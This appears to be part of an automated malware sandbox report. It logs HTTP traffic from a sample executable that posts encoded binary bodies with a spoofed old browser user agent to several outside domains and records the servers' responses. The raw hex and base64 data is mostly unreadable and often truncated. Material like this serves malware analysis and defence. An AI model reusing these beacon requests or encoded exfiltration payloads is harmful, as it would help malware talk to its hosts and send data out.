68 62 67 47 4b 62 66 49 59 37 64 55 67 58 6e 47 49 77 6c 2f 2f 42 30 30 4c 41 35 4d 58 6b 71 46 59 2f 2b 2b 51 4c 39 56 67 67 49 61 62 6e 71 38 6e 4b 62 35 59 2b 65 64 61 52 4e 37 7a 54 52 61 5a 41 68 68 45 6e 75 78 2f 4d 70 54 6d 5a 71 50 4d 62 4a 6b 52 37 2b 34 49 44 76 66 4f 2f 49 59 50 2b 4b 67 63 70 6e 68 61 64 54 4e 47 2b 45 32 33 30 4c 33 47 61 6d 4b 30 72 46 68 2f 44 76 41 39 4b 7a 6f 58 6a 42 44 4e 61 2f 4e 61 69 48 36 6a 47 6a 4a 74 75 57 4f 79 49 75 45 57 37 78 30 77 4c 42 73 63 7a 4d 4a 67 57 6a 59 63 53 46 42 67 72 54 76 4b 6a 57 78 6e 51 47 41 64 77 51 46 62 52 76 78 4a 70 4e 4f 30 41 45 [TRUNCATED] Data Ascii: J6SBscB+SPwe/Yqfk+NdT/PXuNqoVLLh9Pkoow2hz2LqJqhanXOdRFP7lgs3YkMnlQKag5Ju2SQeJ9jeUk4jvHEIlCUkoswpVu0gM3tYVyxTRlMxGt737vkuWWhQxawNvan7Ha0hbgGKbfIY7dUgXnGIwl//B00LA5MXkqFY/++QL9VggIabnq8nKb5Y+edaRN7zTRaZAhhEnux/MpTmZqPMbJkR7+4IDvfO/IYP+KgcpnhadTNG+E230L3GamK0rFh/DvA9KzoXjBDNa/NaiH6jGjJtuWOyIuEW7x0wLBsczMJgWjYcSFBgrTvKjWxnQGAdwQFbRvxJpNO0AECOuYD8XAaz+232nFd46S2AHzYRiqGruNL7qpMdBo4j6qFqL5AT5wCKvY1juuvz7QjIN2ZZ+4yewx96SYUQ4hOA1HPIszcllrREEXwohZgd1JOwdhKzjdJSMGzCVu/FKhAXbdiWA9VUWgL9CmmbKjxdxrFf7p3eJsswCsEZGCRHBJM+6QDNX/bLtNZitR/PVRFNtg7GaRC+x9I=
Oct 25, 2024 11:17:43.127918005 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:17:42 GMT Server: Apache Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 65 35 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 74 69 74 6c 65 3e 4c 52 53 3c 2f 74 69 74 6c 65 3e 0d 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 3c 21 2d 2d 0d 0a 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4d 6f 6e 74 73 65 72 72 61 74 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 0d 0a 09 62 6f 64 79 20 7b 0d 0a 09 09 63 6f 6c 6f 72 3a 20 23 30 64 33 35 37 31 3b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 37 32 65 33 66 66 3b 0d 0a 09 09 66 6f 6e 74 3a 20 31 33 70 78 20 2f 20 31 35 30 25 20 4d 6f 6e 74 73 65 72 72 61 74 2c 20 56 65 72 64 61 6e 61 2c 20 47 65 6e 65 76 61 2c 20 4c 75 63 69 64 61 3b 0d 0a 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 09 09 70 [TRUNCATED] Data Ascii: 3e56<!doctype html><html lang="en"><head><meta charset="utf-8"><title>LRS</title><style type="text/css">...@import url('https://fonts.googleapis.com/css2?family=Montserrat&display=swap');body {color: #0d3571;background: #72e3ff;font: 13px / 150% Montserrat, Verdana, Geneva, Lucida;margin: 0;padding: 0;}h1 {text-align: center;margin-block: 15vh 2rem;font-size: clamp(1.5rem, 1.8vw - 0.6rem, 2.2rem);}h1 img {display: inline-block;margin-inline: 2.4rem 0;inline-size: 253px;block-size: 179px;}.enclosure {background-color: #FFFFFF;inline-size: min(95%, 40rem);margin-block: 2.1rem;margin-inline: auto;padding-block: 0.3rem 0.6rem;padding-inline: 2rem;font-size: clamp(1rem, 1.5vw - 0.3rem, 1.3rem);line-height: 150%;border-radius: 5px;box-shadow: 8px 7px 0 0 #0d3571c7;}p {margin-block: 1.5rem;}a {color: color-mix(in lab, #FFF, #0d3571 60%);}--></styl [TRUNCATED]
Oct 25, 2024 11:17:43.127932072 CEST	1236	IN	Data Raw: 41 4e 53 55 68 45 55 67 41 41 41 50 30 41 41 41 43 7a 43 41 59 41 41 41 42 43 5a 78 72 67 41 41 41 41 47 58 52 46 57 48 52 54 62 32 5a 30 64 32 46 79 5a 51 42 42 5a 47 39 69 5a 53 42 4a 62 57 46 6e 5a 56 4a 6c 59 57 52 35 63 63 6c 6c 50 41 41 41 Data Ascii: ANSUhEUgAAAP0AAACzCAYAAABCZxrgAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6e
Oct 25, 2024 11:17:43.127945900 CEST	1236	IN	Data Raw: 31 55 4b 53 30 4f 78 55 74 78 39 2b 41 45 44 55 6b 49 4a 43 48 75 38 72 2f 6e 66 64 38 45 69 38 77 6b 6b 7a 43 42 37 37 58 76 6c 35 42 4d 52 74 35 37 35 39 35 7a 37 37 76 69 55 4c 59 30 46 4d 61 77 61 44 6a 4b 44 4a 4d 5a 4c 74 4e 48 5a 72 52 4d Data Ascii: 1UKS0OxUtx9+AEDUkIJCHu8r/nfd8Ei8wkkzCB77Xvl5BMRt57595z77viULY0FMawaDjKDJMZLtNHZrRMX/2rSWagzGCZpVY8J/8uW2a8/u8imYf15zgiM1dmoswMmedlltns05hKkJzlh49298fiYx1wPtcbWYWuMDmUGTtdT6OwxBFRvmnY9sB/4OpUKLtrstHeliIzzwPdv3hJ7auz7PXlw8lY+gqB2FRmC5kdZDbXv0bqw
Oct 25, 2024 11:17:43.128016949 CEST	1236	IN	Data Raw: 42 58 39 42 35 65 30 57 31 44 67 38 6f 33 4f 48 76 66 48 53 30 43 7a 2b 45 48 30 66 70 76 44 70 73 4e 56 38 64 69 35 42 61 37 6d 46 6e 62 6b 39 41 79 2f 78 34 32 46 73 73 41 76 58 6b 77 56 58 53 35 7a 4c 2f 6f 68 38 51 59 44 58 45 55 4f 34 76 4e Data Ascii: BX9B5e0W1Dg8o3OHvfHS0Cz+EH0fpvDpsNV8di5Ba7mFnbk9Ay/x42FssAvXkwVXS5zL/oh8QYDXEUO4vN74jH+qzC4qkfoJ0IgQwxAfRyHCw68rHMlTI7G4t1c4P+dpnrcSkl1BgNXevnu6NHRBxW3vM27uuwTex8N5ReSuQZpu/3E8Zi3Zyg/7vMH9Bw89iNUdkodIWfWy4+Hf8V/jloIQpLnGjnmz2yrGXwPrQU3yhjsW4O0
Oct 25, 2024 11:17:43.128029108 CEST	1236	IN	Data Raw: 53 59 65 46 52 6d 50 77 50 42 6c 59 43 61 52 39 51 6b 30 36 46 55 41 37 67 79 34 42 77 30 4d 6c 66 73 68 4d 77 38 44 32 51 4b 68 63 32 56 37 7a 50 79 33 5a 47 51 37 53 4f 2f 4b 55 4f 6b 62 37 71 4b 54 50 4e 31 4c 55 43 49 52 7a 62 67 55 6c 44 2b Data Ascii: SYeFRmPwPBlYCaR9Qk06FUA7gy4Bw0MlfshMw8D2QKhc2V7zPy3ZGQ7SO/KUOkb7qKTPN1LUCIRzbgUlD+Nyg13XxrWeCGu2K2Ys6Rzlh6vB281HpcMxjy/duGaOPni2AbGnUE/sJm+FntGfSMtvuTAW4zuHVg89/EdZEz8opckJ6ngfl0pi/OZPohIcsXJzL8kCmbmyqgv5jvgaxCF5SJMCjSAe1C7S8jyD1XaG0muoaexfDIE
Oct 25, 2024 11:17:43.128041029 CEST	1060	IN	Data Raw: 30 74 31 49 53 41 71 6f 56 66 77 79 50 45 76 7a 4d 56 34 38 2f 39 6c 38 72 37 61 61 59 30 70 61 6e 69 61 38 32 68 30 44 6f 6e 2f 57 43 76 6f 47 65 66 76 77 6e 52 73 65 6a 58 37 46 41 64 43 57 7a 62 67 4a 35 4e 4a 51 66 58 47 57 30 55 44 51 62 48 Data Ascii: 0t1ISAqoVfwyPEvzMV48/9l8r7aaY0pania82h0Don/WCvoGefvwnRsejX7FAdCWzbgJ5NJQfXGW0UDQbHUuQJfV5zvDUWC9iXnWiFE2I7L779S3QMj5cDU8eLIAKH2oNOtYbgIqNm3ZAQgV+vmIBvJnwHJ1tQRWdNQy8UJvHVgS7YdDYSqXnuClw0Z0y689HT+Uq2kydsjCWvzgs7OpQajDlH2qvHB7rnorMAv1+T0xgWdQxdQ
Oct 25, 2024 11:17:43.128051996 CEST	1236	IN	Data Raw: 6a 4c 6b 46 53 58 71 67 45 68 32 72 4a 37 6b 78 4d 59 30 44 52 4f 32 47 4b 6c 34 62 6c 6d 73 35 53 78 2b 55 66 74 59 5a 39 4b 35 55 78 37 79 6e 75 39 4a 65 4c 34 64 62 50 6c 4c 64 48 30 74 38 6b 4d 74 35 6f 75 4b 71 6c 64 69 68 31 69 49 7a 36 2f Data Ascii: jLkFSXqgEh2rJ7kxMY0DRO2GKl4blms5Sx+UftYZ9K5Ux7ynu9JeL4dbPlLdH0t8kMt5ouKqldih1iIz6/fILS6o8tvw1rTjdTW0knlLOpeqmuotXr4yDK4QvhdZO894ZoTlDbH08PxLozzTVBa9EfFeDNzbfg/d29RPvm1xvgr/YFUNgwD+GNbf0x6NuHMSe2K8pMZdXuF1nB4102VLdn7rptbyfU3gn9RFgFMtb+OudSVPXq0
Oct 25, 2024 11:17:43.128063917 CEST	1236	IN	Data Raw: 74 44 69 55 57 44 33 74 5a 71 48 38 4b 38 4d 76 57 2b 63 4a 55 4f 74 6c 32 4c 71 6c 64 37 58 76 5a 37 52 50 50 44 56 54 74 58 37 51 44 30 7a 4b 6a 7a 75 74 35 76 71 6c 69 41 30 74 51 37 41 38 37 31 57 42 4f 38 7a 4b 5a 41 31 2b 78 72 53 6e 70 50 Data Ascii: tDiUWD3tZqH8K8MvW+cJUOtl2Lqld7XvZ7RPPDVTtX7QD0zKjzut5vqliA0tQ7A871WBO8zKZA1+xrSnpP0URdQpIwIOIE2gReUAImry6onsiSKEa0VSRUBPTbk5oIKOwzHoEda/sKtXcyFwO1arGd0DTgPHqHn6xuXXmuJ9aLqQKo2gPjovehd+QR1ZbbnsbVzo2BdsG4VTBDoRaR14ACZ/hOc/WbjFHNj2JS6wPoHpIoAiwTj
Oct 25, 2024 11:17:43.128101110 CEST	1236	IN	Data Raw: 48 76 43 76 54 30 74 72 4f 32 58 6c 55 43 51 45 44 75 4b 4f 39 79 63 76 73 39 57 48 58 6e 5a 33 68 76 78 45 4a 45 2b 61 53 4c 37 61 32 42 6e 7a 55 54 32 74 6d 69 6e 35 74 51 2f 4e 61 42 79 57 67 56 6b 4b 79 69 2b 36 6f 35 38 78 50 71 59 6f 33 49 Data Ascii: HvCvT0trO2XlUCQEDuKO9ycvs9WHXnZ3hvxEJE+aSL7a2BnzUT2tmin5tQ/NaByWgVkKyi+6o58xPqYo3IZp7r+TN6Nj9sd867ikDvLbONPb2xenXk2YDelynQl6qQ5CqvnXTH2kKxdx1tEAXIZJMWfmnoERZfMXD0m5CmPhm1Dj5ijP/3hzpi6HcPY9SsX+H1dcOx7mRL5c2HCE1F0SsSAFxbAT+F4sPdN2LN3Z/g2R4blSlEM
Oct 25, 2024 11:17:43.128112078 CEST	636	IN	Data Raw: 50 30 38 32 70 5a 68 78 48 66 50 34 69 33 52 66 73 72 59 37 43 75 71 76 63 6f 75 7a 34 52 50 69 37 35 31 51 6c 78 55 6f 45 2b 74 58 6b 70 42 69 77 39 31 58 55 74 78 72 58 64 56 61 6b 54 31 56 35 42 48 79 72 54 7a 39 37 65 57 48 30 37 38 6d 72 37 Data Ascii: P082pZhxHfP4i3RfsrY7Cuqvcouz4RPi751QlxUoE+tXkpBiw91XUtxrXdVakT1V5BHyrTz97eWH078mr7eiWqilAOgvxSFOBPZQTgDyvH4dbZ9yE2JcSmDTGzCl0wsdUhTGgba/lhE4rfKjQRT3TZiqx69i6bvf5MMX5p9WjcMe9unLwYpCoo234jaddfRDPZh8LSav0FNc41KdLbr/1pwFLNYdiAHM9cFV+ZnnYlifSa6A2ph
Oct 25, 2024 11:17:43.133558989 CEST	1236	IN	Data Raw: 4a 6f 31 2b 69 63 38 69 65 55 56 57 39 35 57 48 56 7a 78 57 41 69 43 73 79 50 78 38 7a 55 72 6d 45 62 59 49 6b 31 76 75 4d 57 4d 49 5a 4e 37 64 65 36 47 50 53 36 4d 34 2f 39 76 65 45 4c 4e 66 46 53 47 36 45 6f 77 6d 4e 4b 78 35 33 34 5a 4e 52 38 Data Ascii: Jo1+ic8ieUVW95WHVzxWAiCsyPx8zUrmEbYIk1vuMWMIZN7de6GPS6M4/9veELNfFSG6EowmNKx534ZNR8VfiCYbTXQ8Q66RWP/7xhGBYKO7IZ8IXBNBeb3teyfIoe1uxtRoEb7uu4FT2aH2xwtP5y0NvdO78eJanL7JhZkIZ7CQX+dPRcBNPssUXUlxzeKTE7MGPsbBUIlVV4fRJEtKs14NHlE7AnIbL6llYWbaYJ4d4ZCHDLs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	52652	188.114.97.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.250036001 CEST	832	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dayvo.com Cache-Control: no-cache Data Raw: 6c 4a 37 67 74 71 50 37 55 50 78 64 44 61 73 64 4b 71 79 35 34 38 7a 5a 33 4b 50 4a 6f 6a 34 46 68 30 76 79 55 6a 41 50 4e 67 52 2f 76 65 35 76 2b 79 46 68 4f 46 63 76 67 44 54 68 41 44 70 4e 64 2f 50 68 5a 47 62 75 59 37 65 46 2f 4d 35 71 74 37 6f 65 36 6b 37 63 6a 6b 72 49 58 74 42 4a 79 62 4d 61 45 62 48 61 47 6d 4c 45 4d 50 50 50 6e 45 35 35 58 41 49 4e 6c 2b 56 58 42 66 68 46 41 50 47 36 31 79 72 54 64 32 6c 64 54 4a 79 53 4a 41 2f 2b 7a 2f 4f 77 54 6c 79 50 70 45 51 41 76 6b 36 49 59 38 65 4a 69 73 45 50 6b 55 67 56 36 69 6c 67 36 70 31 42 46 2b 72 4a 48 65 73 51 43 75 33 38 4d 64 6f 4b 37 54 78 55 4b 74 4a 6f 78 52 61 68 4c 35 68 69 4b 32 32 6f 58 75 6c 57 52 41 78 6f 2b 6c 62 6f 4c 66 4b 4a 66 2f 34 36 2b 4c 43 30 36 63 34 50 32 59 75 39 51 73 59 6b 31 79 65 4a 76 41 58 67 66 36 4a 6f 48 68 4b 4f 34 54 64 62 64 66 67 67 4b 51 71 4e 38 6c 39 66 56 54 58 38 45 33 46 64 72 36 69 68 4a 73 54 77 34 68 65 4b 71 70 65 58 63 6b 71 6b 38 59 30 76 2f 54 7a 4f 50 58 79 38 30 67 7a 79 42 49 48 6a 51 7a [TRUNCATED] Data Ascii: lJ7gtqP7UPxdDasdKqy548zZ3KPJoj4Fh0vyUjAPNgR/ve5v+yFhOFcvgDThADpNd/PhZGbuY7eF/M5qt7oe6k7cjkrIXtBJybMaEbHaGmLEMPPPnE55XAINl+VXBfhFAPG61yrTd2ldTJySJA/+z/OwTlyPpEQAvk6IY8eJisEPkUgV6ilg6p1BF+rJHesQCu38MdoK7TxUKtJoxRahL5hiK22oXulWRAxo+lboLfKJf/46+LC06c4P2Yu9QsYk1yeJvAXgf6JoHhKO4TdbdfggKQqN8l9fVTX8E3Fdr6ihJsTw4heKqpeXckqk8Y0v/TzOPXy80gzyBIHjQzwf03X9Sl6ogtDH2Eu4NvMGA3wI1v4r1o6HgtMV336mIDpYdhIov6Gf7Jur31MUK9uQOASafKg3r14dZII4FhyG1pAqHgeeCbOCVgECTxvW8RBt9EWizCPV111rrjdODyQc1DjUyL+hSFduugXgvC8UE9XKFyL5Sfa5KA8vHhOuc0TMGCnV1iPSDM3CRZmQuTDYwPA+SDSkok4ggpBAe7w5XkL99RpeWNWNdvHxPSxPjyBoJ6SxrSirJbJv4lwuLw9TTFS4
Oct 25, 2024 11:17:42.847191095 CEST	1236	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Fri, 25 Oct 2024 09:17:57 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QlwoernhYcq1WQfs%2FZS60ri67K9bDGVG%2Fo6ZQDlJTMMknh8UmcV7G4ufx6MvVbdQtO2%2F8Ib%2FVtVQTehXXcPMeHqHaQJrASjKKjk3WxY8%2FzNhzkTZ9cUNUsgYTqohNao%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d7658374779-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=969&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=832&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 [TRUNCATED] Data Ascii: 11a1<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Attention Required! \| Cloudflare</title
Oct 25, 2024 11:17:42.847203970 CEST	1236	IN	Data Raw: 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: ><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
Oct 25, 2024 11:17:42.847215891 CEST	1236	IN	Data Raw: 73 22 3e 59 6f 75 20 61 72 65 20 75 6e 61 62 6c 65 20 74 6f 20 61 63 63 65 73 73 3c 2f 73 70 61 6e 3e 20 64 61 79 76 6f 2e 63 6f 6d 3c 2f 68 32 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 68 65 61 64 65 72 20 2d 2d 3e 0a 0a 20 Data Ascii: s">You are unable to access</span> dayvo.com</h2> </div>... /.header --> <div class="cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full">
Oct 25, 2024 11:17:42.847882986 CEST	1236	IN	Data Raw: 20 75 70 20 61 6e 64 20 74 68 65 20 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 20 66 6f 75 6e 64 20 61 74 20 74 68 65 20 62 6f 74 74 6f 6d 20 6f 66 20 74 68 69 73 20 70 61 67 65 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 Data Ascii: up and the Cloudflare Ray ID found at the bottom of this page.</p> </div> </div> </div>... /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-
Oct 25, 2024 11:17:42.847894907 CEST	444	IN	Data Raw: 22 69 6e 20 62 26 26 28 62 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 68 69 64 64 65 6e 22 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 63 6c 61 73 73 Data Ascii: "in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	52653	23.227.38.74	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.253360033 CEST	776	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.domon.com Cache-Control: no-cache Data Raw: 61 70 72 50 51 57 4d 75 54 66 7a 42 78 34 79 34 36 73 43 41 56 49 78 65 6c 35 32 4a 76 4d 4f 56 52 30 70 57 6e 31 69 64 69 77 47 69 79 34 4c 49 65 4f 5a 55 4f 48 56 2b 41 72 7a 42 55 74 30 54 48 74 4e 55 31 61 75 34 50 4a 74 56 61 78 4f 5a 63 66 78 41 52 65 39 4b 38 55 2f 52 7a 45 2b 75 34 66 6b 41 43 4a 39 75 50 4e 36 54 68 54 41 6e 2f 65 76 74 65 52 79 51 6e 66 58 43 6e 78 4c 2f 33 54 52 2b 55 72 44 4e 36 55 64 42 66 38 70 4b 35 69 37 6f 59 4c 31 2f 30 58 53 63 47 79 63 42 76 2f 4b 79 37 58 58 74 58 68 50 67 56 61 2f 64 55 39 73 2b 79 58 59 4c 4a 68 4d 30 75 72 72 6b 38 72 31 30 4c 46 37 53 6c 79 6d 55 49 48 69 31 43 55 76 58 68 4b 6f 45 33 39 32 39 34 31 67 68 37 4a 6f 74 54 2f 62 45 46 41 7a 2f 43 39 78 48 75 70 35 4d 7a 5a 31 32 75 56 70 7a 61 63 45 70 48 4a 6d 62 63 64 78 30 61 4f 67 2f 53 6e 4e 4c 33 44 45 63 68 52 54 52 43 43 69 41 50 4f 46 31 49 75 30 32 67 36 53 37 64 79 42 43 7a 43 48 46 2f 50 34 6d 39 78 51 65 59 54 38 44 65 66 72 61 65 32 66 4b 68 70 33 41 73 35 79 49 42 4e 47 6f 76 73 [TRUNCATED] Data Ascii: aprPQWMuTfzBx4y46sCAVIxel52JvMOVR0pWn1idiwGiy4LIeOZUOHV+ArzBUt0THtNU1au4PJtVaxOZcfxARe9K8U/RzE+u4fkACJ9uPN6ThTAn/evteRyQnfXCnxL/3TR+UrDN6UdBf8pK5i7oYL1/0XScGycBv/Ky7XXtXhPgVa/dU9s+yXYLJhM0urrk8r10LF7SlymUIHi1CUvXhKoE392941gh7JotT/bEFAz/C9xHup5MzZ12uVpzacEpHJmbcdx0aOg/SnNL3DEchRTRCCiAPOF1Iu02g6S7dyBCzCHF/P4m9xQeYT8Defrae2fKhp3As5yIBNGovsklRcLfDwbrNthB/FSUtaUey5lfpFGuKWWEebbtIqNIungVqf+vagCvg+fxFRUI1y+SwaokwVfpQyZ/vH6/ezu5T2XbwszktQRdf1bziBwgBpNrZdjGQ/NsLJFyrvsc21MNBxgmznS+7bpzxOy5EA1gGC7F/oXPA+sGpOga6Js6hceHGCbghE0GEZWOI7NAk01wSU3T/ZdXpVln
Oct 25, 2024 11:17:43.093013048 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 09:17:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive x-sorting-hat-podid: 216 x-sorting-hat-shopid: 66042101977 x-storefront-renderer-rendered: 1 vary: Accept-Encoding,Accept set-cookie: keep_alive=dc3f308b-9b4b-49e7-8dff-de3784898190; path=/; expires=Fri, 25 Oct 2024 09:47:42 GMT; HttpOnly; SameSite=Lax set-cookie: _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 25 Oct 2025 09:17:43 GMT; SameSite=Lax set-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:17:43 GMT; SameSite=Lax set-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:17:43 GMT; Domain=dom Data Raw: Data Ascii:
Oct 25, 2024 11:17:43.093023062 CEST	212	IN	Data Raw: 6e 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 5f 73 68 6f 70 69 66 79 5f 73 3d 61 35 63 30 31 36 36 39 2d 30 37 35 65 2d 34 64 32 30 2d 62 38 36 32 2d 33 39 64 66 65 66 Data Ascii: n.com; Path=/; SameSite=Laxset-cookie: _shopify_s=a5c01669-075e-4d20-b862-39dfef694744; Expires=Fri, 25-Oct-24 09:47:43 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-
Oct 25, 2024 11:17:43.093034983 CEST	1236	IN	Data Raw: 6e 67 69 6e 78 2d 6e 6f 2d 63 6f 6f 6b 69 65 73 3a 20 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 3e 3b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 2c 20 3c 68 74 74 70 73 3a 2f 2f 63 Data Ascii: nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216c
Oct 25, 2024 11:17:43.093049049 CEST	55	IN	Data Raw: 6e 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 31 31 64 37 36 38 61 66 31 32 63 39 61 2d 44 46 57 0d 0a 0d 0a Data Ascii: nServer: cloudflareCF-RAY: 8d811d768af12c9a-DFW
